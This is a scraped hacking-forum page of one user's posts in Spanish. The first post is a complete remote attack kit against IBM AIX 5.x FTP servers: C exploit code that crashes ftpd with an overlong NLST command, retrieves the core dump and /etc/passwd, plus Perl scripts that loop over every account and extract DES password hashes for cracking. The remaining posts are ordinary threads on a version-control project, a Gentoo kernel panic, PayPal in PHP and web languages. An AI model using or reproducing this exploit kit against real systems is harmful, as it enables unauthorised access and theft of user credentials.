elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Bugs y Exploits / [CODE|ATAQUE REMOTO] ub-aix-ftpd-attack IBM AIX 5.1, 5.2, 5.3, quiza anteriores en: 21 Enero 2012, 18:04 pm
Hola, les dejo el código que hice para un ataque completo basado en el exploit de Kingcope. El volcado es de los hashes DES de AIX, los mismos que están en /etc/security/passwd.

Version: Version de prueba 1.0
Lenguajes: C, Perl
Sistemas Vulnerables: IBM AIX 5l - 5.1, 5.2, 5.3 y probablemente 4.X
Parche Existente: Si, http://aix.software.ibm.com/aix/efixes/security/ftpd_advisory.asc
Vulnerabilidad descubierta por: Kingcope
Nivel de compromiso: Todos los usuarios con FTP ven comprometido su hash DES, passwords fuertes no se ven comprometidos a corto plazo (John the Ripper tardará un poco más)
Información necesaria: Un usuario y password válido en el sistema. En algunos funcionará un default.
Datos adicionales: Estos sistemas también tienen una configuración por defecto de Sendmail que permite usarlos como Relay sin privilegios para el envío de correo electrónico.

Es una versión de prueba, no la probé luego de los últimos cambios. Se podría intentar borrar el core luego del ataque.


MAY THE SOURCE BE WITH YOU...


Archivo: README
Código:
This attack is based in:

 * IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :>
 *
 * Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
 *
 * bug found & exploited by Kingcope

Credits for the vulnerability to Kingcope

Complete attack step by step:

  a) Build (make) in the LHOST (you) in a NEW directory
  b) Having a system's user/pass for AIX, use 'get-passwd' and get /etc/passwd by FTP
  c) Having /etc/passwd as 'passwd' in your LHOST, run ub-aix-ftpd-attack.pl

     This script reads passwd file getting usernames. Then, it uses provided valid
     user/pass for the exploit, wich dumps a 'core' forcing a segmentation fault in
     'FTPd'. Unpatched systems will dump core files containing the last failed
     login hash, from /etc/security/passwd, so we filled memory with our victim user.

     But the Kingcope exploit gets lots of strings from core files (by using 'strings' command),
     so this script uses lots of dumps then...
  d) Finally, you will get REAL hashes for users, by comparison, kicking off unusable
     strings from dumps, and getting a real copy of /etc/security/passwd for every
     user configured to FTPd... even root if it can FTP. To do this, use provided ukosh.pl

Now, a first eye on the passwords is done by running John the Ripper and stopping it after weakest passwords are revealed.

And you have all of the weak passwords instantly. Then, take a look at the retrieved passwd file
to see if you have some admin or potential staff member, or any interesting user.

If you don't have the pass, but the hash, use John the Ripper in a cluster, get some dictionary based on the system, you will crack it since... AIX cuts long passwords to 8 digits for the DES hash ;)


Archivo: Makefile
Código:
# it's for AIX (xlc), LINUX (gcc), or any other, just change CC
all: get-passwd exploit
CC:=gcc

get-passwd: get-passwd.c
@echo ">> compiling [$(CC)] $@"
@$(CC) -o get-passwd get-passwd.c

exploit: exploit.c
@echo ">> compiling [$(CC)] $@"
@$(CC) -o exploit exploit.c

clean:
-rm exploit get-passwd


Archivo: exploit.c
Código
  1. /*
  2.  * IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :>
  3.  *
  4.  * Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
  5.  *
  6.  * bug found & exploited by Kingcope
  7.  * exploit modified by UnsafeBit to fit full system passwords attack
  8.  *
  9.  * Version 3.0 - January 2012
  10.  * ----------------------------------------------------------------------------
  11.  * Description:                                                               -
  12.  * The AIX 5l FTP-Server crashes when an overly long NLST command is supplied -
  13.  * For example: NLST ~AAAAA...A (2000 A's should be enough)                   -
  14.  * The fun part here is that it creates a coredump file in the current        -
  15.  * directory if it is set writable by the logged in user.                     -
  16.  * The goal of the exploit is to get the DES encrypted user hashes            -
  17.  * off the server. These can be later cracked with JtR.                       -
  18.  * This is accomplished by populating the memory with logins of the user      -
  19.  * we would like the encrypted hash from. Logging in three times with the     -
  20.  * target username should be enough so that the DES hash is included in the   -
  21.  * 'core' file.                                                               -
  22.  * The FTPd banner looks like below.                                          -
  23.  * 220 AIX5l FTP-Server (Version 4.1 Tue May 29 11:57:21 CDT 2001) ready.     -
  24.  * 220 AIX5l FTP server (Version 4.1 Wed Mar 2 15:52:50 CST 2005) ready.      -
  25.  * ----------------------------------------------------------------------------
  26.  */
  27.  
  28. #include <stdio.h>
  29. #include <stdlib.h>
  30. #include <string.h>
  31. #include <unistd.h>
  32. #include <sys/types.h>
  33. #include <sys/socket.h>
  34. #include <netdb.h>
  35. #include <fcntl.h>
  36.  
  37. #define RIDICULOUS_PASSWD "QqQqQqQq"
  38.  
  39. #define USAGE_STRING \
  40. "%s <-r rhost(victim)> <-l lhost(you)> [-p port] [-u username] [-k password]"\
  41. " [-d some rhost writable directory] [-c user to crack] [-s use 'LIST' command on AIX 5.3]\n"
  42.  
  43. int createconnection(char *target, char *targetport);
  44. void sockgetline(int socketd);
  45. void putline(int socketd, char *out);
  46. void usage(char *exe);
  47.  
  48. static int exploit_oops;
  49.  
  50. void exploit_say(char *sayit)
  51. {
  52. fprintf(stderr,"  + %s\n", sayit);
  53. }
  54.  
  55. void exploit_failed(char *sayit)
  56. {
  57. fprintf(stderr,"  - %s\n", sayit);
  58. exploit_oops++;
  59. }
  60.  
  61. char in[8096];
  62. char out[8096];
  63.  
  64. int main(int argc, char *argv[])
  65. {
  66. extern int optind;
  67. extern char *optarg;
  68. int haveuser=0,havepassword=0;
  69. int socketd,s2,nsock;
  70. int c,k,len;
  71. int fd;
  72.  
  73. exploit_oops = 0;
  74.  
  75. char *target = NULL;
  76. char *username = "ftp";
  77. char *password = "guest";
  78. char *writeto = "pub";
  79. char *crackme = "root";
  80. char *targetport = "21";
  81. int uselist = 0;
  82. char *myip = NULL;
  83. char *as = NULL;
  84. int octet_in[4], port;
  85. struct sockaddr_in yo, cli;
  86. char *oct = NULL;
  87.  
  88. while ((c = getopt(argc, argv, "r:l:p:u:k:d:c:s")) != EOF) {
  89. switch(c) {
  90. case 'r':
  91. target = (char*)malloc(strlen(optarg)+1);
  92. strcpy(target, optarg);
  93. break;
  94. case 'l':
  95. myip = (char*)malloc(strlen(optarg)+1);
  96. strcpy(myip, optarg);
  97. break;
  98. case 'p':
  99. targetport = (char*)malloc(strlen(optarg)+1);
  100. strcpy(targetport, optarg);
  101. break;
  102. case 'u':
  103. username = (char*)malloc(strlen(optarg)+1);
  104. strcpy(username, optarg);
  105. haveuser = 1;
  106. break;
  107. case 'k':
  108. password = (char*)malloc(strlen(optarg)+1);
  109. strcpy(password, optarg);
  110. havepassword = 1;
  111. break;
  112. case 'd':
  113. writeto = (char*)malloc(strlen(optarg)+1);
  114. strcpy(writeto, optarg);
  115. break;
  116. case 'c':
  117. crackme = (char*)malloc(strlen(optarg)+1);
  118. strcpy(crackme, optarg);
  119. break;
  120. case 's':
  121. uselist = 1;
  122. break;
  123. default:
  124. usage(argv[0]);
  125. }
  126. }
  127.  
  128. if (target == NULL || myip == NULL)
  129. usage(argv[0]);
  130.  
  131. if ((haveuser && !havepassword) || (!haveuser && havepassword)) {
  132. usage(argv[0]);
  133. }
  134.  
  135. socketd = createconnection(target, targetport);
  136. sockgetline(socketd);
  137.  
  138. exploit_say("forcing poor FTPd to load DES hash in memory");
  139.  
  140. for (k=0;k<3;k++) {
  141. snprintf(out, sizeof out, "USER %s\r\n", crackme);
  142. putline(socketd, out);
  143. sockgetline(socketd);
  144. snprintf(out, sizeof out, "PASS "RIDICULOUS_PASSWD"\r\n");
  145. putline(socketd,out);
  146. sockgetline(socketd);
  147. }
  148.  
  149. snprintf(out, sizeof out, "USER %s\r\n", username);
  150. putline(socketd, out);
  151. sockgetline(socketd);
  152. snprintf(out, sizeof out, "PASS %s\r\n", password);
  153. putline(socketd,out);
  154. sockgetline(socketd);
  155. sockgetline(socketd);
  156.  
  157. exploit_say("injecting venom");
  158.  
  159. snprintf(out, sizeof out, "CWD %s\r\n", writeto);
  160. putline(socketd, out);
  161. sockgetline(socketd);
  162.  
  163. as = (char*)malloc(2000);
  164. memset(as, 'A', 2000);
  165. as[2000-1] = 0;
  166.  
  167. if (!uselist) {
  168. snprintf(out, sizeof out, "NLST ~%s\r\n", as);
  169. } else {
  170. /* AIX 5.3 trigger - thanks to karol */
  171. snprintf(out, sizeof out, "LIST ~%s\r\n", as);
  172. }
  173. putline(socketd, out);
  174.  
  175. memset(in, '\0', sizeof in);
  176. if (recv(socketd, in, sizeof in, 0) < 1) {
  177. exploit_say("exploit succeeded!");
  178. } else {
  179. exploit_say("trigger seems to have failed, proceeding anyways (sometimes, it will work anyways)");
  180. }
  181. sleep(5);
  182.  
  183. close(socketd);
  184.  
  185. socketd = createconnection(target, targetport);
  186. sockgetline(socketd);
  187.  
  188. snprintf(out, sizeof out, "USER %s\r\n", username);
  189. putline(socketd, out);
  190. sockgetline(socketd);
  191. snprintf(out, sizeof out, "PASS %s\r\n", password);
  192. putline(socketd,out);
  193. sockgetline(socketd);
  194. sockgetline(socketd);
  195.  
  196. snprintf(out, sizeof out, "CWD %s\r\n", writeto);
  197. putline(socketd, out);
  198. sockgetline(socketd);
  199.  
  200. exploit_say("getting core file");
  201.  
  202. snprintf(out, sizeof out, "TYPE I\r\n");
  203. putline(socketd, out);
  204. sockgetline(socketd);
  205.  
  206. port = getpid() + 1024;
  207. len = sizeof(cli);
  208.  
  209. bzero(&yo, sizeof(yo));
  210. yo.sin_family = AF_INET;
  211. yo.sin_port=htons(port);
  212. yo.sin_addr.s_addr = htonl(INADDR_ANY);
  213.  
  214. oct=(char *)strtok(myip,".");
  215. octet_in[0]=atoi(oct);
  216. oct=(char *)strtok(NULL,".");
  217. octet_in[1]=atoi(oct);
  218. oct=(char *)strtok(NULL,".");
  219. octet_in[2]=atoi(oct);
  220. oct=(char *)strtok(NULL,".");
  221. octet_in[3]=atoi(oct);
  222.  
  223. snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
  224. putline(socketd, out);
  225. sockgetline(socketd);
  226.  
  227. if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  228. perror("socket");
  229. return -1;
  230. }
  231.  
  232. if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) {
  233. perror("bind");
  234. close(s2);
  235. exit(1);
  236. }
  237.  
  238. if (listen(s2, 10) < 0) {
  239. perror("listen");
  240. close(s2);
  241. exit(1);
  242. }
  243.  
  244. snprintf(out, sizeof out, "RETR core\r\n");
  245. putline(socketd, out);
  246. sockgetline(socketd);
  247. if (strstr(in, "150") == NULL) {
  248. exploit_failed("core file not found... terminating");
  249. close(socketd);
  250. exit(1);
  251. }
  252.  
  253. fd = open("core", O_WRONLY | O_CREAT);
  254. if (fd == -1) {
  255. perror("open on local core file");
  256. close(socketd);
  257. exit(1);
  258. }
  259.  
  260. sleep(1);
  261.  
  262. if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) {
  263. perror("accept");
  264. close(socketd);
  265. exit(1);
  266. }
  267.  
  268. do {
  269. k = recv(nsock, in, sizeof in, 0);
  270. if (k < 1) break;
  271. write(fd, in, k);
  272. } while (k > 0);
  273.  
  274. close(nsock);
  275. close(fd);
  276. close(socketd);
  277.  
  278. exploit_say("extracting DES hashes");
  279.  
  280. char strings_command[255];
  281. memset(strings_command, 0, sizeof strings_command);
  282. sprintf(strings_command, "chmod 754 core");
  283. system(strings_command);
  284.  
  285. memset(strings_command, 0, sizeof strings_command);
  286. fprintf(stderr, "+ command: '%s'\n", strings_command);
  287. system(strings_command);
  288.  
  289. return 0;
  290. }
  291.  
  292. int createconnection(char *target, char *targetport) {
  293. struct addrinfo hints, *res;
  294. int socketd;
  295.  
  296. memset(&hints, 0, sizeof hints);
  297. hints.ai_family = AF_UNSPEC;
  298. hints.ai_socktype = SOCK_STREAM;
  299.  
  300. if (getaddrinfo(target, targetport, &hints, &res)) {
  301. perror("getaddrinfo");
  302. exit(1);
  303. }
  304.  
  305. socketd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
  306. if (socketd < 0) {
  307. perror("socket");
  308. exit(1);  
  309. }
  310.  
  311. if (connect(socketd, res->ai_addr, res->ai_addrlen) < 0) {
  312. perror("connect");
  313. exit(1);
  314. }
  315.  
  316. return socketd;
  317. }
  318.  
  319. void sockgetline(int socketd)
  320. {
  321. memset(in, '\0', sizeof in);
  322. if (recv(socketd, in, sizeof in, 0) < 1) {
  323. perror("recv");
  324. close(socketd);
  325. exit(1);
  326. }
  327. }
  328.  
  329. void putline(int socketd, char *out) {
  330.  
  331. if (send(socketd, out, strlen(out), 0) == -1) {
  332. perror("send");
  333. close(socketd);
  334. exit(1);
  335. }
  336. }
  337.  
  338. void usage(char *exe)
  339. {
  340. fprintf(stderr, USAGE_STRING, exe);
  341. exit(0);
  342. }
  343.  


Archivo: get-passwd.c
Código
  1. /*
  2.  * IBM AIX 5l FTPd Remote DES Hash Exploit
  3.  * This file will use a known user to get /etc/passwd file
  4.  *
  5.  * Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
  6.  *
  7.  * Version 1.0 - Jan 2012
  8.  * ----------------------------------------------------------------------------
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <unistd.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <fcntl.h>
  19.  
  20. #define USAGE_STRING \
  21. "%s <-r rhost(victim)> <-l lhost(you)> [-p port] [-u username] [-k password]"
  22.  
  23. int createconnection(char *target, char *targetport);
  24. void sockgetline(int socketd);
  25. void putline(int socketd, char *out);
  26. void usage(char *exe);
  27.  
  28. static int exploit_oops;
  29.  
  30. void exploit_say(char *sayit)
  31. {
  32. fprintf(stderr,"  + %s\n", sayit);
  33. }
  34.  
  35. void exploit_failed(char *sayit)
  36. {
  37. fprintf(stderr,"  - %s\n", sayit);
  38. exploit_oops++;
  39. }
  40.  
  41. char in[8096];
  42. char out[8096];
  43.  
  44. int main(int argc, char *argv[])
  45. {
  46. extern int optind;
  47. extern char *optarg;
  48. int haveuser=0,havepassword=0;
  49. int socketd,s2,nsock;
  50. int c,k,len;
  51. int fd;
  52.  
  53. exploit_oops = 0;
  54.  
  55. char *target = NULL;
  56. char *username = "ftp";
  57. char *password = "guest";
  58. char *writeto = "pub";
  59. char *targetport = "21";
  60. char *myip = NULL;
  61. char *as = NULL;
  62. int octet_in[4], port;
  63. struct sockaddr_in yo, cli;
  64. char *oct = NULL;
  65.  
  66. while ((c = getopt(argc, argv, "r:l:p:u:k:")) != EOF) {
  67. switch(c) {
  68. case 'r':
  69. target = (char*)malloc(strlen(optarg)+1);
  70. strcpy(target, optarg);
  71. break;
  72. case 'l':
  73. myip = (char*)malloc(strlen(optarg)+1);
  74. strcpy(myip, optarg);
  75. break;
  76. case 'p':
  77. targetport = (char*)malloc(strlen(optarg)+1);
  78. strcpy(targetport, optarg);
  79. break;
  80. case 'u':
  81. username = (char*)malloc(strlen(optarg)+1);
  82. strcpy(username, optarg);
  83. haveuser = 1;
  84. break;
  85. case 'k':
  86. password = (char*)malloc(strlen(optarg)+1);
  87. strcpy(password, optarg);
  88. havepassword = 1;
  89. break;
  90. default:
  91. usage(argv[0]);
  92. }
  93. }
  94.  
  95. if (target == NULL || myip == NULL)
  96. usage(argv[0]);
  97.  
  98. if ((haveuser && !havepassword) || (!haveuser && havepassword)) {
  99. usage(argv[0]);
  100. }
  101.  
  102. socketd = createconnection(target, targetport);
  103. sockgetline(socketd);
  104. snprintf(out, sizeof out, "USER %s\r\n", username);
  105. putline(socketd, out); /* username */
  106. sockgetline(socketd);
  107. snprintf(out, sizeof out, "PASS %s\r\n", password);
  108. putline(socketd,out);  /* passwd */
  109. sockgetline(socketd);
  110. sockgetline(socketd);
  111.  
  112. exploit_say("RETRIEVING /etc/passwd");
  113.  
  114. snprintf(out, sizeof out, "CWD /etc\r\n");
  115. putline(socketd, out);
  116. sockgetline(socketd);
  117.  
  118. snprintf(out, sizeof out, "TYPE I\r\n");
  119. putline(socketd, out);
  120. sockgetline(socketd);
  121.  
  122. port = getpid() + 1024;
  123. len = sizeof(cli);
  124.  
  125. bzero(&yo, sizeof(yo));
  126. yo.sin_family = AF_INET;
  127. yo.sin_port=htons(port);
  128. yo.sin_addr.s_addr = htonl(INADDR_ANY);
  129.  
  130. oct=(char *)strtok(myip,".");
  131. octet_in[0]=atoi(oct);
  132. oct=(char *)strtok(NULL,".");
  133. octet_in[1]=atoi(oct);
  134. oct=(char *)strtok(NULL,".");
  135. octet_in[2]=atoi(oct);
  136. oct=(char *)strtok(NULL,".");
  137. octet_in[3]=atoi(oct);
  138.  
  139. snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
  140. putline(socketd, out);
  141. sockgetline(socketd);
  142.  
  143. if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  144. perror("socket");
  145. return -1;
  146. }
  147.  
  148. if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) {
  149. perror("bind");
  150. close(s2);
  151. exit(1);
  152. }
  153.  
  154. if (listen(s2, 10) < 0) {
  155. perror("listen");
  156. close(s2);
  157. exit(1);
  158. }
  159.  
  160. snprintf(out, sizeof out, "RETR passwd\r\n");
  161. putline(socketd, out);
  162. sockgetline(socketd);
  163. if (strstr(in, "150") == NULL) {
  164. exploit_failed("passwd file not found... terminating");
  165. close(socketd);
  166. exit(1);
  167. }
  168.  
  169. fd = open("passwd", O_WRONLY | O_CREAT);
  170. if (fd == -1) {
  171. perror("open on local passwd file");
  172. close(socketd);
  173. exit(1);
  174. }
  175.  
  176. sleep(1);
  177.  
  178. if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) {
  179. perror("accept");
  180. close(socketd);
  181. exit(1);
  182. }
  183.  
  184. do {
  185. k = recv(nsock, in, sizeof in, 0);
  186. if (k < 1) break;
  187. write(fd, in, k);
  188. } while (k > 0);
  189.  
  190. close(nsock);
  191. close(fd);
  192. close(socketd);
  193.  
  194. return 0;
  195. }
  196.  
  197. int createconnection(char *target, char *targetport) {
  198. struct addrinfo hints, *res;
  199. int socketd;
  200.  
  201. memset(&hints, 0, sizeof hints);
  202. hints.ai_family = AF_UNSPEC;
  203. hints.ai_socktype = SOCK_STREAM;
  204.  
  205. if (getaddrinfo(target, targetport, &hints, &res)) {
  206. perror("getaddrinfo");
  207. exit(1);
  208. }
  209.  
  210. socketd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
  211. if (socketd < 0) {
  212. perror("socket");
  213. exit(1);  
  214. }
  215.  
  216. if (connect(socketd, res->ai_addr, res->ai_addrlen) < 0) {
  217. perror("connect");
  218. exit(1);
  219. }
  220.  
  221. return socketd;
  222. }
  223.  
  224. void sockgetline(int socketd)
  225. {
  226. memset(in, '\0', sizeof in);
  227. if (recv(socketd, in, sizeof in, 0) < 1) {
  228. perror("recv");
  229. close(socketd);
  230. exit(1);
  231. }
  232. }
  233.  
  234. void putline(int socketd, char *out) {
  235.  
  236. if (send(socketd, out, strlen(out), 0) == -1) {
  237. perror("send");
  238. close(socketd);
  239. exit(1);
  240. }
  241. }
  242.  
  243. void usage(char *exe)
  244. {
  245. fprintf(stderr, USAGE_STRING, exe);
  246. exit(0);
  247. }
  248.  


Archivo: ub-aix-ftpd-attack.pl
Código
  1. #!/usr/bin/env perl
  2.  
  3.  
  4. die "need arguments: <LHOST> <RHOST> <VALID_USER> <VALID_PASSWORD>" unless (scalar @ARGV eq 4);
  5. my $F;
  6. open F, "< passwd";
  7. while (<F>) {
  8. ($login, $passwd, $uid, $gid,
  9. $gcos, $home, $shell) = split(/:/);
  10. print "+ E X P L O I T I N G   U S E R :         [$login]\n";
  11. system("./blow-up -r $ARGV[1] -l $ARGV[0] -u $ARGV[2] -k $ARGV[3] -d /tmp -c $login");
  12. }
  13.  


Archivo: ukosh.pl
Código
  1. #!/usr/bin/env perl
  2. #
  3. # 'unlock core shadows' (ukosh.pl) takes corefile 13 digit strings
  4. # from AIX 5.2 vulnerable FTPd hashdumps and, by comparison, takes
  5. # candidate user hashes
  6. #
  7. # you can do it yourself, but this script can take an /etc/passwd dump
  8. # for thousands of users, and get hashes in a second, so you can just
  9. # start cracking (John the Ripper in a cluster is the fastest way)
  10. #
  11. # %crack_user = ( username => '$',
  12. #                 complete_list  => '@', ); # each user has lots of "maybe" passwords
  13. our @users_data; # the array of 'crack_user' elements
  14. our $number_of_files = 0;
  15. our @word_hash; # array of word-times, if a word appears in almost all of the files
  16.                # then it is a core residual string, but not a password hash
  17.  
  18. use IO::Handle;
  19.  
  20. sub map_user() {
  21. ($trash,$username) = split(/\./,$_[0]);
  22. our $number_of_files++;
  23. our @users_data;
  24. my @list;
  25. my %crack_user;
  26. my $File;
  27. open File, "< $_[0]" || die "cannot open $_[0]";
  28. while (<File>) {
  29. chomp($_);
  30. push @list, $_ unless (/^$/);
  31. }
  32. close F;
  33. $crack_user{complete_list}=\@list;
  34. $crack_user{username}=$username;
  35. push @users_data, \%crack_user unless ($crack_user{username}=~/^$/);
  36. }
  37.  
  38. sub sum_word() {
  39. my %word_times; my $found;
  40.  
  41. #print "size of array: ", scalar @word_hash, "\n"
  42. $found=0;
  43. die "need a word, wht! [$_[0]]\n" if $_[0] =~ /^$/;
  44. for my $ix ( 0..scalar @word_hash ) {
  45. if ( $word_hash[$ix]->{word} =~ /^$_[0]$/ ) {
  46. $word_hash[$ix]->{times}++;
  47. $found=1;
  48. }
  49. }
  50. if ($found eq 0) {
  51. if ($_[0] =~ /^$/) {
  52. }
  53. else {
  54. $word_times{word}=$_[0];
  55. $word_times{times}=1;
  56. push @word_hash, \%word_times;
  57. }
  58. }
  59. }
  60.  
  61. opendir(my $this_dir, ".") or die "cannot open current dir";
  62.  
  63. print "reading directory ";
  64. while(readdir $this_dir) {
  65. print ".";
  66. flush STDOUT;
  67. # each password file will be attended
  68. &map_user($_) if (/^passwd\.[a-z|0-9]+$/);
  69. }
  70. print "\nloaded $number_of_files files\n";
  71. print "mapping and counting words ";
  72. closedir $this_dir;
  73.  
  74. # fills comparison hash
  75. for $i ( 0..scalar @users_data ) {
  76. printf ".";
  77. flush STDOUT;
  78. for (@{$users_data[$i]->{complete_list}}) {
  79. &sum_word($_);
  80. }
  81. }
  82.  
  83. print "\nguessing /etc/security/passwd file?   }:)\n";
  84. # for each possible line
  85. my $SEC_PASSWD; my $CAN_WRITE=1;
  86. open SEC_PASSWD, "> security-passwd" || $CAN_WRITE=0;
  87.  
  88. if ($CAN_WRITE eq 1) {
  89. print "writing to file 'security-passwd'...\n";
  90. }
  91.  
  92. print "---------------------------------------------\n";
  93. for $i ( 0..scalar @users_data ) {
  94. for (@{$users_data[$i]->{complete_list}}) {
  95. for my $ix ( 0..scalar @word_hash ) {
  96. if ($word_hash[$ix]->{word} !~ /^$/){
  97. if ($word_hash[$ix]->{word} =~ /^$_$/){
  98. if ($word_hash[$ix]->{times} eq 1) {
  99. print "$users_data[$i]->{username}:$word_hash[$ix]->{word}\n";
  100. if ($CAN_WRITE eq 1) {
  101. print SEC_PASSWD "$users_data[$i]->{username}:$word_hash[$ix]->{word}\n";
  102. }
  103. }
  104. }
  105. }
  106. }
  107. }
  108. }
  109. close SEC_PASSWD;
  110. print "---------------------------------------------\n";
  111.  



Espero comentarios, mejoras, etc...
Saludos y Happy Hacking
2  Programación / Programación General / [proyecto] Nuevo controlador de versiones en: 11 Noviembre 2011, 16:00 pm
Hola Foreros,

Solamente paso para escribirles sobre un proyecto que estoy empezando. Tras bastante tiempo de uso de GIT, hay algunas cosas que me planteo diferentes. No es porque GIT sea malo, ni quiero volver esto una discusión sobre la necesidad de otro controlador de versiónes.

Se que muchos aficionados a Shell, C y Perl, pueden estar entusiasmados por trabajar en un proyecto así, y espero llegue a ser competente.

Quienes sepan trabajar en equipo y de una forma respetuosa, son bienvenidos.

Escriban MPs y/o correo a soft.d4rio (en) GMail para recibir alguna instrucción sobre qué hacer.

Saludos

PD: El proyecto se escribe en inglés, aunque la organización de las tareas la estoy haciendo en castellano. Cualquiera puede participar porque siempre habrá alguien dispuesto a traducir y explicar.
3  Sistemas Operativos / GNU/Linux / Kernel Panic Gentoo - root ext4 en: 29 Junio 2011, 02:31 am
Hola gente,

Paso a explicarles el problema:

  Tenia Ubuntu 11.04 instalado en la partición /dev/sda5

  Me hice un LiveUSB de Gentoo11 a partir del liveDVD, desde el cual instalé el sistema con el stage3 gentoo-hardened
  Bajé los fuentes del kernel de hardened
  Con make menuconfig hice la configuración de un kernel con ext4 compilado (no modulo) porque la partición raíz tiene ext4.

  Para no tener que armar la configuración de un cargador de arranque, entre en Ubuntu y corrí la actualización de GRUB2 para que reconozca Gentoo, cosa que hizo.

  Reinicié, y ohh!! Kernel Panic. Para hacerlo más simple y obtener solo lo necesario, agregué "quiet" a la línea de comandos del kernel.
  Ahora, reiniciando nuevamente, puedo dar el error:

 kvm: no hardware support
  Kernel Panic - not syncing: VFS: unable to mount root fs on unknown-block (0,0)
  swapper not tainted 2.6.38-<mi kernel>


Cosa que no se como solucionar. Si el kernel no tuviera soporte para ext4 bien, pero con el soporte para ext4 builtin ¿?

Voy a tratar de reiniciar sin la swap en el fstab, pero como no pudo montar el raiz, supongo que no tendrá nada que ver... sino trataré con genkernel

Si alguien tiene una sugerencia, bienvenido sea
saludos

EDITO (AGREGO):
Modifique la función que arroja el kernel panic (mount_block_root()) en init/do_mounts.c, queda como indico a continuación:
Código
  1. void __init mount_block_root(char *name, int flags)
  2. {
  3. char *fs_names = __getname_gfp(GFP_KERNEL
  4. | __GFP_NOTRACK_FALSE_POSITIVE);
  5. char *p;
  6. #ifdef CONFIG_BLOCK
  7. char b[BDEVNAME_SIZE];
  8. #else
  9. const char *b = name;
  10. #endif
  11.  
  12. printk("D4RIO: mount_block_root([%s],[%d])\n",name,flags);
  13. printk("D4RIO: fs_names before gfn: [%s]\n",fs_names);
  14. get_fs_names(fs_names);
  15. printk("D4RIO: fs_names after gfn: [%s]\n",fs_names);
  16. retry:
  17. for (p = fs_names; *p; p += strlen(p)+1) {
  18. int err = do_mount_root(name, p, flags, root_mount_data);
  19. switch (err) {
  20. case 0:
  21. goto out;
  22. case -EACCES:
  23. flags |= MS_RDONLY;
  24. goto retry;
  25. case -EINVAL:
  26. continue;
  27. }
  28.        /*
  29. * Allow the user to distinguish between failed sys_open
  30. * and bad superblock on root device.
  31. * and give them a list of the available devices
  32. */
  33. #ifdef CONFIG_BLOCK
  34. __bdevname(ROOT_DEV, b);
  35. #endif
  36. printk("VFS: Err open root=\"%s\", listing:\n",
  37. root_device_name);
  38.  
  39. printk_all_partitions();
  40. #ifdef CONFIG_DEBUG_BLOCK_EXT_DEVT
  41. printk("DEBUG_BLOCK_EXT_DEVT is enabled, you need to specify "
  42.       "explicit textual name for \"root=\" boot option.\n");
  43. #endif
  44. panic("VFS: Cant mount root fs on %s", b);
  45. }
  46.  
  47. printk("List of all partitions:\n");
  48. printk_all_partitions();
  49. printk("No filesystem could mount root, tried: ");
  50. for (p = fs_names; *p; p += strlen(p)+1)
  51. printk(" %s", p);
  52. printk("\n");
  53. #ifdef CONFIG_BLOCK
  54. __bdevname(ROOT_DEV, b);
  55. #endif
  56. panic("VFS: Unable to mount root fs on %s", b);
  57. out:
  58. putname(fs_names);
  59. }

Como verán, agregué unas trazas muy vistosas con valores que no se trazan en el original, el resultado:

D4RIO: mount_block_root([/dev/root],[32769])
D4RIO: fs_names before gfn: [/dev/root]
D4RIO: fs_names after gfn: [ext3]
VFS: Err open root="sda6", listing:
Kernel panic - not syncing: VFS: Cant mount root fs on unknown-block(0,0)
Pid: 1, comm: swapper Not tainted 2.6.38-hardened-r6dario-hardened1 #3
Call Trace:
[<c1379439>] ? panic+0x4d/0x129
[<c1592c72>] ? mount_block_root+0x210/0x224
[<c1592cbf>] ? mount_root+0x39/0x4d
[<c1592e15>] ? prepare_namespace+0x142/0x168
[<c1592400>] ? kernel_init+0x196/0x1a6
[<c159226a>] ? kernel_init+0x0/0x1a6
[<c1027f86>] ? kernel_thread_helper+0x6/0x10


No me gusta ese ext3, pero no tengo tiempo ahora para ponerme a mirarlo.

Será hasta mañana!
4  Programación / PHP / PHP+PayPal (u otros gateways) en: 10 Junio 2011, 04:38 am
Hola,

Leyendo sobre la interfaz de PayPal me he encontrado con algunos inconvenientes... este es mi ejemplo ilustrativo:

Supongamos que quiero implementar una interfaz propia con PayPal u otro Payment Gateway en PHP. Supongamos también que tengo una página en la que se pueden elegir *diversos* productos con *diversos* precios, quitando la opción de crear un botón en PayPal y pegar el código.

Entonces tengo unos datos X en PHP, con una venta esperando pago. El usuario debe redirigirse para poder pagar con tarjeta, e inmediatamente luego de pagar, ser capaz de obtener un código de descarga, o datos de contacto (caso de MercadoLibre/eBay).

Como es inmediato, no hay trabajo de backoffice como pegar un número de factura, o un monto a nombre de X persona (como pasa a veces con las compañías de hosting)... NO: El usuario debe pagar y descargar. Pagar y ver datos. Pagar y que reaccionemos.

¿Cómo implementarían algo así?
5  Programación / Desarrollo Web / PHP, Perl, o Python? en: 31 Mayo 2011, 13:32 pm
Hola amigos,

Si, hoy estoy ON-FIRE con las dudas Web (si 2 preguntas califican como on-fire)

La pregunta es simple: A la hora de procesar datos, especialmente en tiempo real, pero hablando generalmente ¿qué les parece mejor? ¿con cuál tuvieron mejor experiencia? ¿porqué?

